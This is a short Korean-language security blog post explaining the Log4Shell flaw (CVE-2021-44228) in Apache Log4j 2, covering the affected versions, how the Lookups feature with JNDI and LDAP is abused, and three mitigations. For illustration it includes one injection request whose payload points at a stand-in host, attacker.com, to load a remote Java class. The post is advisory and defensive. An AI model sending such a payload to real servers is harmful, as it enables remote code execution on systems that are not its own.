Apache Log4j 2 RCE vulnerability

2021. 12. 13. 01:30

 

CVE CVE-2021-44228 (Log4Shell)
취약한 버전 Log4j 2.0 - 2.14.1
패치 버전 Log4j 2.15

 

_0x001

 

더보기
2021년 12월 10일, 아파치 서버의 Log4j 2 Library에서 CVSS 스코어 10점의 Critical한 취약점이 발견되었다.Log4j 2 Library란 로깅 유틸리티 라이브러리로 프로그래밍을 할 때 디버깅을 위해 로그를 쉽게 남길 수 있도록 도와주는 녀석이며 아파치 오픈소스이다. 이 취약점은 Alibaba Cloud Security Team의 Chen Zhaojun가 발견하였다.

 

_0x002

 

해당 취약점은 Lookups 기능에서 발견되었는데, Lookups 기능이란 Log4j에서 넘겨받은 변수를 그대로 로깅하는 것이 아니라 변수를 분석해 실행 가능한 것은 실행한 후에 로깅하는 기능이다. JNDI(Jaba Naming and Directory Interface)와 LDAP(Lightweight Directory Access Protocol)를 이용해 공격을 시도한다.

 

JNDI란 자바 애플리케이션을 외부 디렉터리와 연결할 때 쓰이는 API다. LDAP란 TCP/IP Layer 기반의 분산 디렉터리 서비스에서 사용자, 시스템, 네트워크, 서비스, 앱 등의 정보를 공유하기 위한 오픈 프로토콜이다. JNDI를 통해 LDAP를 통해 공격자의 LDAP 서버에서 자바 클래스를 가져오는 코드를 실행한다.

GET https://service.com?payload=${jndi:ldap://attacker.com/classname}

 

_0x003

 

해결방법으로는 크게 3가지가 있다.

  1. 취약점이 패치된 버전으로 업그레이드한다.
  2. Log4j-core 2.10.0 ~ 2.15.0 Lookups 기능을 중단한다. 자바 애플리케이션 실행 시 옵션으로 다음과 같이 설정하면 된다.
    JAVA_OPTS = -Dlog4j2.formatMsgNoLookups=true​
  3. Log4j-core 2.0-beta9 ~ 2.10.0의 경우 다음의 경로에서 JndiLookup.class를 제거한다.
    org/apache/logging/log4j/core/lookup/​
더보기

보안 이슈와 관련해서 틀린 부분이나 수정사항이 있다면 언제든 지적해주세요! 😆

'[▒] 보안 > Security Issues' 카테고리의 다른 글

addslashes(), mysql_real_escape_string() 우회  (0) 2020.05.18

BELATED ARTICLES

more